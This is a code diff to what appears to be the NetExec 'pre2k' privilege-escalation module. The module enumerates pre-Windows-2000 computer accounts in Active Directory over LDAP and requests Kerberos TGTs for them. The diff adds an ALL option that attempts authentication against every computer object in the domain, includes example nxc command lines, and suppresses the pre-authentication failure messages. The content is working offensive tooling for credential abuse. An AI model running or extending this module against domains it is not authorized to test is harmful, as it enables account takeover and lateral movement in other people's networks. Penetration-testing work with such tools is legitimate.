@@ -19,17 +19,28 @@ class NXCModule:
1919 category = CATEGORY .PRIVILEGE_ESCALATION
2020
2121 def options (self , context , module_options ):
22- """No options available"""
22+ """
23+ ALL Attempt to authenticate for every computer object in the domain (default: False)
24+
25+ Examples:
26+ nxc ldap $IP -u $USER -p $PASSWORD -M pre2k
27+ nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True
28+ """
29+ self .all_option = module_options .get ("ALL" , "" ).lower () in ["true" , "1" , "yes" ]
2330
2431 def on_login (self , context , connection ):
25- # Define the search filter for pre-created computer accounts
26- search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
32+ # Define the search filter
33+ if self .all_option :
34+ search_filter = "(&(objectClass=computer))"
35+ else :
36+ search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT)
37+
2738 attributes = ["sAMAccountName" , "userAccountControl" , "dNSHostName" ]
2839
2940 context .log .info (f"Using search filter: { search_filter } " )
3041 context .log .info (f"Attributes to retrieve: { attributes } " )
3142
32- computers = []
43+ computers = {}
3344
3445 try :
3546 # Use paged search to retrieve all computer accounts with specific flags
@@ -39,27 +50,39 @@ def on_login(self, context, connection):
3950
4051 for computer in results :
4152 context .log .debug (f"Processing computer: { computer ['sAMAccountName' ]} , UAC: { computer ['userAccountControl' ]} " )
42- # Check if the account is a pre-created computer account
43- if int (computer ["userAccountControl" ]) == 4128 : # 4096 | 32
44- computers .append (computer ["sAMAccountName" ])
45- context .log .debug (f"Added computer: { computer ['sAMAccountName' ]} " )
53+ computers [computer ["sAMAccountName" ]] = computer ["userAccountControl" ]
54+ context .log .debug (f"Added computer: { computer ['sAMAccountName' ]} " )
4655
4756 # Save computers to file
4857 domain_dir = os .path .join (f"{ NXC_PATH } /modules/pre2k" , connection .domain )
49- output_file = os .path .join (domain_dir , "precreated_computers.txt" )
58+ output_file_pre2k = os .path .join (domain_dir , "precreated_computers.txt" )
59+ output_file_non_pre2k = os .path .join (domain_dir , "non_precreated_computers.txt" )
5060
5161 # Create directories if they do not exist
5262 os .makedirs (domain_dir , exist_ok = True )
5363
54- with open (output_file , "w" ) as file :
55- for computer in computers :
56- file .write (f"{ computer } \n " )
64+ with open (output_file_pre2k , "w" ) as pre2k_file , open (output_file_non_pre2k , "w" ) as non_pre2k_file :
65+ for computer , uac in computers .items ():
66+ if int (uac ) == 4128 :
67+ pre2k_file .write (f"{ computer } \n " )
68+ else :
69+ non_pre2k_file .write (f"{ computer } \n " )
5770
58- # Print discovered pre-created computer accounts
71+ # Print discovered ( pre-created) computer accounts
5972 if computers :
60- for computer in computers :
61- context .log .highlight (f"Pre-created computer account: { computer } " )
62- context .log .success (f"Found { len (computers )} pre-created computer accounts. Saved to { output_file } " )
73+ for computer , uac in computers .items ():
74+ if int (uac ) == 4128 :
75+ context .log .highlight (f"Pre-created computer account: { computer } " )
76+ else :
77+ context .log .debug (f"Computer account: { computer } " )
78+
79+ counter_pre2k = len ([v for v in computers .values () if int (v ) == 4128 ])
80+ counter_non_pre2k = len ([v for v in computers .values () if int (v ) != 4128 ])
81+
82+ if counter_pre2k != 0 :
83+ context .log .success (f"Found { counter_pre2k } pre-created computer accounts. Saved to { output_file_pre2k } " )
84+ if counter_non_pre2k != 0 :
85+ context .log .success (f"Found { counter_non_pre2k } normal computer accounts. Saved to { output_file_non_pre2k } " )
6386 else :
6487 context .log .info ("No pre-created computer accounts found." )
6588
@@ -76,7 +99,7 @@ def on_login(self, context, connection):
7699
77100 # Summary of TGT results
78101 if successful_tgts > 0 :
79- context .log .success (f"Successfully obtained TGT for { successful_tgts } pre-created computer accounts. Saved to { ccache_base_dir } " )
102+ context .log .success (f"Successfully obtained TGT for { successful_tgts } ( pre-created) computer accounts. Saved to { ccache_base_dir } " )
80103 except Exception as e :
81104 context .log .fail (f"Error occurred during search: { e } " )
82105
@@ -101,7 +124,13 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
101124 context .log .success (f"Successfully obtained TGT for { username } @{ domain } " )
102125 return True
103126 except Exception as e :
104- context .log .fail (f"Failed to get TGT for { username } @{ domain } : { e } " )
127+ if "KDC_ERR_PREAUTH_FAILED" in str (e ):
128+ if self .all_option :
129+ context .log .debug (f"Failed to get TGT for { username } @{ domain } : KDC_ERR_PREAUTH_FAILED" )
130+ else :
131+ context .log .fail (f"Failed to get TGT for { username } @{ domain } : KDC_ERR_PREAUTH_FAILED" )
132+ else :
133+ context .log .fail (f"Error obtaining TGT for { username } @{ domain } : { e } " )
105134 return False
106135
107136 def save_ticket (self , context , username , ticket , sessionKey , ccache_base_dir ):
0 commit comments